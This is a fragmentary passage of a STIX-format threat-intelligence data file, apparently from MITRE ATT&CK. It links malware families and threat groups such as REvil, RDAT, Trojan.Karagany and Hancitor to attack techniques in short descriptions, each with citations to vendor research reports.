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                    "url": "https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html",
                    "description": "Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020."
                },
                {
                    "source_name": "Secureworks GandCrab and REvil September 2019",
                    "url": "https://www.secureworks.com/blog/revil-the-gandcrab-connection",
                    "description": "Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020."
                },
                {
                    "source_name": "McAfee Sodinokibi October 2019",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/",
                    "description": "McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service \u2013 What The Code Tells Us. Retrieved August 4, 2020."
                },
                {
                    "source_name": "Intel 471 REvil March 2020",
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                    "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."
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                    "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware",
                    "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."
                }
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            "description": "[REvil](https://attack.mitre.org/software/S0496) has used HTTP and HTTPS in communication with C2.(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: Intel 471 REvil March 2020)(Citation: Secureworks REvil September 2019)",
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                {
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                    "url": "https://www.secureworks.com/blog/revil-the-gandcrab-connection",
                    "description": "Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020."
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                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/",
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                    "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."
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                    "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware",
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                }
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                },
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                    "url": "https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html",
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                    "url": "https://www.secureworks.com/blog/revil-the-gandcrab-connection",
                    "description": "Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020."
                },
                {
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                    "url": "https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html",
                    "description": "Cadieux, P, et al (2019, April 30). Sodinokibi ransomware exploits WebLogic Server vulnerability. Retrieved August 4, 2020."
                },
                {
                    "source_name": "McAfee Sodinokibi October 2019",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/",
                    "description": "McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service \u2013 What The Code Tells Us. Retrieved August 4, 2020."
                },
                {
                    "source_name": "Intel 471 REvil March 2020",
                    "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/",
                    "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."
                },
                {
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                    "url": "https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware",
                    "description": "Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020."
                },
                {
                    "source_name": "Secureworks REvil September 2019",
                    "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware",
                    "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."
                },
                {
                    "source_name": "Tetra Defense Sodinokibi March 2020",
                    "url": "https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis",
                    "description": "Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020."
                }
            ],
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                    "url": "https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html",
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                }
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                },
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                    "url": "https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html",
                    "description": "Cadieux, P, et al (2019, April 30). Sodinokibi ransomware exploits WebLogic Server vulnerability. Retrieved August 4, 2020."
                },
                {
                    "source_name": "Intel 471 REvil March 2020",
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                    "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."
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                    "url": "https://www.group-ib.com/whitepapers/ransomware-uncovered.html",
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                    "url": "https://www.group-ib.com/whitepapers/ransomware-uncovered.html",
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                    "description": "Cadieux, P, et al (2019, April 30). Sodinokibi ransomware exploits WebLogic Server vulnerability. Retrieved August 4, 2020."
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                    "source_name": "McAfee Sodinokibi October 2019",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/",
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                {
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                    "url": "https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware",
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                }
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                }
            ],
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                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/",
                    "description": "Saavedra-Morales, J, et al. (2019, October 20). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service \u2013 Crescendo. Retrieved August 5, 2020."
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            ],
            "description": "[REvil](https://attack.mitre.org/software/S0496) can inject itself into running processes on a compromised host.(Citation: McAfee REvil October 2019)",
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                    "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020."
                }
            ],
            "description": "[REvil](https://attack.mitre.org/software/S0496) can mark its binary code for deletion after reboot.(Citation: Intel 471 REvil March 2020)",
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                    "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."
                }
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                },
                {
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                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/",
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                    "description": "Han, Karsten. (2019, June 4). Strange Bits: Sodinokibi Spam, CinaRAT, and Fake G DATA. Retrieved August 4, 2020."
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                    "url": "https://threatvector.cylance.com/en_us/home/threat-spotlight-sodinokibi-ransomware.html",
                    "description": "Cylance. (2019, July 3). hreat Spotlight: Sodinokibi Ransomware. Retrieved August 4, 2020."
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                    "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware",
                    "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."
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            "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4",
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            "id": "relationship--2f973098-ef83-43a5-9813-a5aef8ff48dc",
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            ],
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            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "SentinelOne Lazarus macOS July 2020",
                    "url": "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/",
                    "description": "Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple\u2019s macOS Platform. Retrieved August 7, 2020."
                }
            ],
            "description": "[Cryptoistic](https://attack.mitre.org/software/S0498) has the ability to send and receive files.(Citation: SentinelOne Lazarus macOS July 2020)",
            "relationship_type": "uses",
            "id": "relationship--dc802d43-a21f-4871-a281-4896817b9bc1",
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            ],
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            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
                {
                    "source_name": "SentinelOne Lazarus macOS July 2020",
                    "url": "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/",
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                }
            ],
            "description": "[Cryptoistic](https://attack.mitre.org/software/S0498) can scan a directory to identify files for deletion.(Citation: SentinelOne Lazarus macOS July 2020)",
            "relationship_type": "uses",
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            ],
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            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
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                }
            ],
            "description": "[Cryptoistic](https://attack.mitre.org/software/S0498) can use TCP in communications with C2.(Citation: SentinelOne Lazarus macOS July 2020)",
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                    "url": "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/",
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                }
            ],
            "description": "[Cryptoistic](https://attack.mitre.org/software/S0498) can engage in encrypted communications with C2.(Citation: SentinelOne Lazarus macOS July 2020)",
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            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
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                    "source_name": "SentinelOne Lazarus macOS July 2020",
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                    "description": "Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple\u2019s macOS Platform. Retrieved August 7, 2020."
                }
            ],
            "description": "[Cryptoistic](https://attack.mitre.org/software/S0498) can gather data on the user of a compromised host.(Citation: SentinelOne Lazarus macOS July 2020)",
            "relationship_type": "uses",
            "id": "relationship--e3fe5089-90fc-47e6-afc7-fb0c41ba7c0c",
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            "external_references": [
                {
                    "source_name": "SentinelOne Lazarus macOS July 2020",
                    "url": "https://www.sentinelone.com/blog/four-distinct-families-of-lazarus-malware-target-apples-macos-platform/",
                    "description": "Stokes, P. (2020, July 27). Four Distinct Families of Lazarus Malware Target Apple\u2019s macOS Platform. Retrieved August 7, 2020."
                }
            ],
            "description": "(Citation: SentinelOne Lazarus macOS July 2020)",
            "relationship_type": "uses",
            "id": "relationship--e82e75df-12f9-4d95-b653-dd71a519524f",
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            "id": "relationship--ff397dfb-a231-423f-8be0-be01eb2c9d4d",
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            ],
            "source_ref": "malware--20945359-3b39-4542-85ef-08ecb4e1c174",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "external_references": [
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                    "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf",
                    "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."
                }
            ],
            "description": "[StrongPity](https://attack.mitre.org/software/S0491) has a file searcher component that can automatically collect and archive files based on a predefined list of file extensions.(Citation: Bitdefender StrongPity June 2020)",
            "relationship_type": "uses",
            "id": "relationship--8ec92ea1-6021-4e0f-9737-826e9f243830",
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            "relationship_type": "mitigates",
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            ],
            "source_ref": "malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "external_references": [
                {
                    "source_name": "Unit42 RDAT July 2020",
                    "url": "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/",
                    "description": "Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."
                }
            ],
            "description": "[RDAT](https://attack.mitre.org/software/S0495) can take a screenshot on the infected system.(Citation: Unit42 RDAT July 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--49d50fde-cfbc-4007-befc-f4b22b9bc9f5",
            "type": "relationship",
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            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
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                    "description": "Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."
                }
            ],
            "description": "[RDAT](https://attack.mitre.org/software/S0495) can deobfuscate the base64-encoded and AES-encrypted files downloaded from the C2 server.(Citation: Unit42 RDAT July 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--63b6fd1d-65a7-4c94-8045-16fd198802f1",
            "type": "relationship",
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            "source_ref": "malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "external_references": [
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                    "url": "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/",
                    "description": "Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."
                }
            ],
            "description": "[RDAT](https://attack.mitre.org/software/S0495) can exfiltrate data gathered from the infected system via the established Exchange Web Services API C2 channel.(Citation: Unit42 RDAT July 2020)",
            "relationship_type": "uses",
            "id": "relationship--cfff835f-4c2b-4c90-b316-3807796269fc",
            "type": "relationship",
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            "source_ref": "malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b",
            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "external_references": [
                {
                    "source_name": "Unit42 RDAT July 2020",
                    "url": "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/",
                    "description": "Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."
                }
            ],
            "description": "[RDAT](https://attack.mitre.org/software/S0495) has used HTTP if DNS C2 communications were not functioning.(Citation: Unit42 RDAT July 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--d96db78c-e7b8-4877-8187-07c5e801cead",
            "type": "relationship",
            "modified": "2020-08-11T21:15:35.494Z",
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        },
        {
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            ],
            "source_ref": "malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b",
            "target_ref": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916",
            "external_references": [
                {
                    "source_name": "Unit42 RDAT July 2020",
                    "url": "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/",
                    "description": "Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."
                }
            ],
            "description": "[RDAT](https://attack.mitre.org/software/S0495) can also embed data within a BMP image prior to exfiltration.(Citation: Unit42 RDAT July 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--15698fb0-12df-4135-8ecb-093e9fd268a2",
            "type": "relationship",
            "modified": "2020-08-11T21:51:34.095Z",
            "created": "2020-08-11T21:15:35.497Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
                {
                    "source_name": "Unit42 RDAT July 2020",
                    "url": "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/",
                    "description": "Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."
                }
            ],
            "description": "[RDAT](https://attack.mitre.org/software/S0495) can use HTTP communications for C2, as well as using the WinHTTP library to make requests to the Exchange Web Services API.(Citation: Unit42 RDAT July 2020)",
            "relationship_type": "uses",
            "id": "relationship--00f4c60b-36c4-4ec5-affd-38f89687d957",
            "type": "relationship",
            "modified": "2020-09-02T21:40:20.748Z",
            "created": "2020-08-11T21:15:35.506Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "source_name": "Unit42 RDAT July 2020",
                    "url": "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/",
                    "description": "Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."
                }
            ],
            "description": "[RDAT](https://attack.mitre.org/software/S0495) can issue SOAP requests to delete already processed C2 emails. [RDAT](https://attack.mitre.org/software/S0495) can also delete itself from the infected system.(Citation: Unit42 RDAT July 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--b4445491-4549-4333-b6b8-034ab4932295",
            "type": "relationship",
            "modified": "2020-08-11T21:15:35.509Z",
            "created": "2020-08-11T21:15:35.509Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "external_references": [
                {
                    "source_name": "Unit42 RDAT July 2020",
                    "url": "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/",
                    "description": "Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020."
                }
            ],
            "description": "[RDAT](https://attack.mitre.org/software/S0495) has executed commands using <code>cmd.exe /c</code>.(Citation: Unit42 RDAT July 2020)\t",
            "relationship_type": "uses",
            "id": "relationship--34810a1f-a9bd-4f1b-bbdc-4e8c4ec1ef21",
            "type": "relationship",
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                }
            ],
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            "relationship_type": "uses",
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                }
            ],
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                }
            ],
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                }
            ],
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                }
            ],
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                }
            ],
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                    "description": "Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020."
                }
            ],
            "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has used spearphising campaigns to gain access to victims.(Citation: Secureworks IRON LIBERTY July 2019)",
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                }
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            "description": "(Citation: Secureworks IRON LIBERTY July 2019)",
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                    "description": "Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020."
                }
            ],
            "description": "(Citation: Secureworks IRON LIBERTY July 2019)",
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                    "description": "Secureworks. (2019, July 24). Resurgent Iron Liberty Targeting Energy Sector. Retrieved August 12, 2020."
                }
            ],
            "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has placed trojanized installers on legitimate vendor app stores.(Citation: Secureworks IRON LIBERTY July 2019)",
            "relationship_type": "uses",
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            "external_references": [
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                }
            ],
            "description": "[Dragonfly](https://attack.mitre.org/groups/G0035) has has compromised targets via strategic web compromise (SWC) utilizing a custom exploit kit.(Citation: Secureworks IRON LIBERTY July 2019)",
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            "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "external_references": [
                {
                    "source_name": "Secureworks Karagany July 2019",
                    "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector",
                    "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."
                }
            ],
            "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can capture keystrokes on a compromised host.(Citation: Secureworks Karagany July 2019)",
            "relationship_type": "uses",
            "id": "relationship--7808fe28-aa6f-4e81-9029-8b95bec15ad3",
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            "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
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                    "source_name": "Secureworks Karagany July 2019",
                    "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector",
                    "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."
                }
            ],
            "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can enumerate files and directories on a compromised host.(Citation: Secureworks Karagany July 2019)",
            "relationship_type": "uses",
            "id": "relationship--7adebe2e-97f7-4a1a-8ac7-01b795dadc36",
            "type": "relationship",
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        },
        {
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            "target_ref": "attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327",
            "external_references": [
                {
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                    "url": "https://redcanary.com/blog/verclsid-exe-threat-detection/",
                    "description": "Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy a New Methodology: Verclsid.exe. Retrieved August 10, 2020."
                }
            ],
            "description": "[Hancitor](https://attack.mitre.org/software/S0499) has used verclsid.exe to download and execute a malicious script.(Citation: Red Canary Verclsid.exe)",
            "relationship_type": "uses",
            "id": "relationship--331c41dc-7452-4328-a370-7556f659e8cb",
            "type": "relationship",
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        },
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            ],
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            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
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                    "source_name": "Secureworks Karagany July 2019",
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                    "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."
                }
            ],
            "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can base64 encode and AES-128-CBC encrypt data prior to transmission.(Citation: Secureworks Karagany July 2019)",
            "relationship_type": "uses",
            "id": "relationship--2b00f3f4-ddde-4874-8315-5a5c5d671a33",
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            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "external_references": [
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                    "source_name": "Secureworks Karagany July 2019",
                    "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector",
                    "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."
                }
            ],
            "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can secure C2 communications with SSL and TLS.(Citation: Secureworks Karagany July 2019)",
            "relationship_type": "uses",
            "id": "relationship--96bf1608-d1fc-477f-be54-0dba2efd0038",
            "type": "relationship",
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        },
        {
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            "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "external_references": [
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                    "source_name": "Secureworks Karagany July 2019",
                    "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector",
                    "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."
                }
            ],
            "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can communicate with C2 via HTTP POST requests.(Citation: Secureworks Karagany July 2019)",
            "relationship_type": "uses",
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        {
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            "source_ref": "malware--82cb34ba-02b5-432b-b2d2-07f55cbf674d",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
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                    "source_name": "Secureworks Karagany July 2019",
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                    "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."
                }
            ],
            "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) has used plugins with a self-delete capability.(Citation: Secureworks Karagany July 2019)",
            "relationship_type": "uses",
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                }
            ],
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                }
            ],
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                }
            ],
            "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can inject a suspended thread of its own process into a new process and initiate via the <code>ResumeThread</code> API.(Citation: Secureworks Karagany July 2019)",
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                }
            ],
            "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can monitor the titles of open windows to identify specific keywords.(Citation: Secureworks Karagany July 2019)\t ",
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                }
            ],
            "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can gather information on the network configuration of a compromised host.(Citation: Secureworks Karagany July 2019)",
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                }
            ],
            "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can use [netstat](https://attack.mitre.org/software/S0104) to collect a list of network connections.(Citation: Secureworks Karagany July 2019)",
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                }
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            "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can capture information regarding the victim's OS, security, and hardware configuration.(Citation: Secureworks Karagany July 2019)",
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                }
            ],
            "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can gather information about the user on a compromised host.(Citation: Secureworks Karagany July 2019)",
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                {
                    "source_name": "Threatpost Hancitor",
                    "url": "https://threatpost.com/spammers-revive-hancitor-downloader-campaigns/123011/",
                    "description": "Tom Spring. (2017, January 11). Spammers Revive Hancitor Downloader Campaigns. Retrieved August 13, 2020."
                },
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                }
            ],
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                    "description": "Tom Spring. (2017, January 11). Spammers Revive Hancitor Downloader Campaigns. Retrieved August 13, 2020."
                },
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                    "description": "Anubhav, A., Jallepalli, D. (2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020."
                }
            ],
            "description": "[Hancitor](https://attack.mitre.org/software/S0499) has used Base64 to encode malicious links. [Hancitor](https://attack.mitre.org/software/S0499) has also delivered compressed payloads in ZIP files to victims.(Citation: Threatpost Hancitor)(Citation: FireEye Hancitor)",
            "relationship_type": "uses",
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                }
            ],
            "description": "[Hancitor](https://attack.mitre.org/software/S0499) has the ability to download additional files from C2.(Citation: Threatpost Hancitor)",
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                }
            ],
            "description": "[Hancitor](https://attack.mitre.org/software/S0499) has relied upon users clicking on a malicious link delivered through phishing.(Citation: Threatpost Hancitor)",
            "relationship_type": "uses",
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                }
            ],
            "description": "[Hancitor](https://attack.mitre.org/software/S0499) has been delivered via phishing emails which contained malicious links.(Citation: Threatpost Hancitor)",
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                }
            ],
            "description": "[Hancitor](https://attack.mitre.org/software/S0499) has used a macro to check that an ActiveDocument shape object in the lure message is present. If this object is not found, the macro will exit without downloading additional payloads.(Citation: FireEye Hancitor)",
            "relationship_type": "uses",
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                }
            ],
            "description": "[Hancitor](https://attack.mitre.org/software/S0499)  has added Registry Run keys to establish persistence.(Citation: FireEye Hancitor)",
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                }
            ],
            "description": "[Hancitor](https://attack.mitre.org/software/S0499) has deleted files using the VBA <code>kill</code> function.(Citation: FireEye Hancitor)",
            "relationship_type": "uses",
            "id": "relationship--f58a02ed-055f-461f-bfdf-067f07310423",
            "type": "relationship",
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        },
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            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "external_references": [
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                    "description": "Anubhav, A., Jallepalli, D. (2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020."
                }
            ],
            "description": "[Hancitor](https://attack.mitre.org/software/S0499) has used PowerShell to execute commands.(Citation: FireEye Hancitor)",
            "relationship_type": "uses",
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            "type": "relationship",
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        },
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            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
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                    "description": "Anubhav, A., Jallepalli, D. (2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020."
                }
            ],
            "description": "[Hancitor](https://attack.mitre.org/software/S0499) has used <code>CallWindowProc</code> and <code>EnumResourceTypesA</code> to interpret and execute shellcode.(Citation: FireEye Hancitor)",
            "relationship_type": "uses",
            "id": "relationship--51fb8815-6f59-46ff-8f7a-98025623db76",
            "type": "relationship",
            "modified": "2020-09-02T19:29:12.537Z",
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                    "url": "https://www.fireeye.com/blog/threat-research/2016/09/hancitor_aka_chanit.html",
                    "description": "Anubhav, A., Jallepalli, D. (2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020."
                }
            ],
            "description": "[Hancitor](https://attack.mitre.org/software/S0499) has been delivered via phishing emails with malicious attachments.(Citation: FireEye Hancitor)",
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            "id": "relationship--554fbee8-58a9-4557-bf49-f1df2c5da442",
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                    "description": "Anubhav, A., Jallepalli, D. (2016, September 23). Hancitor (AKA Chanitor) observed using multiple attack approaches. Retrieved August 13, 2020."
                }
            ],
            "description": "[Hancitor](https://attack.mitre.org/software/S0499) has used malicious Microsoft Word documents, sent via email, which prompted the victim to enable macros.(Citation: FireEye Hancitor)",
            "relationship_type": "uses",
            "id": "relationship--1d56986b-e6fd-4624-87b4-5e0dd9f05c2f",
            "type": "relationship",
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                {
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017"
                }
            ],
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used <code>InstallUtil.exe</code> to execute malicious software.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
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                {
                    "source_name": "Secureworks MCMD July 2019",
                    "url": "https://www.secureworks.com/research/mcmd-malware-analysis",
                    "description": "Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."
                }
            ],
            "description": "[MCMD](https://attack.mitre.org/software/S0500) can upload additional files to a compromised host.(Citation: Secureworks MCMD July 2019)",
            "relationship_type": "uses",
            "id": "relationship--ceaf4145-f168-4bba-8480-d3650bcc657f",
            "type": "relationship",
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            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
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                {
                    "source_name": "Secureworks Karagany July 2019",
                    "url": "https://www.secureworks.com/research/updated-karagany-malware-targets-energy-sector",
                    "description": "Secureworks. (2019, July 24). Updated Karagany Malware Targets Energy Sector. Retrieved August 12, 2020."
                }
            ],
            "description": "[Trojan.Karagany](https://attack.mitre.org/software/S0094) can perform reconnaissance commands on a victim machine via a cmd.exe process.(Citation: Secureworks Karagany July 2019)",
            "relationship_type": "uses",
            "id": "relationship--deab6c7f-8d5e-4c77-ab58-3d8cf9c2adf4",
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            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
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                {
                    "source_name": "Secureworks MCMD July 2019",
                    "url": "https://www.secureworks.com/research/mcmd-malware-analysis",
                    "description": "Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020."
                }
            ],
            "description": "[MCMD](https://attack.mitre.org/software/S0500) has the ability to upload files from an infected device.(Citation: Secureworks MCMD July 2019)",
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            "id": "relationship--c2e6b2a9-86b7-439a-88ac-dd2c34456d71",
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                {
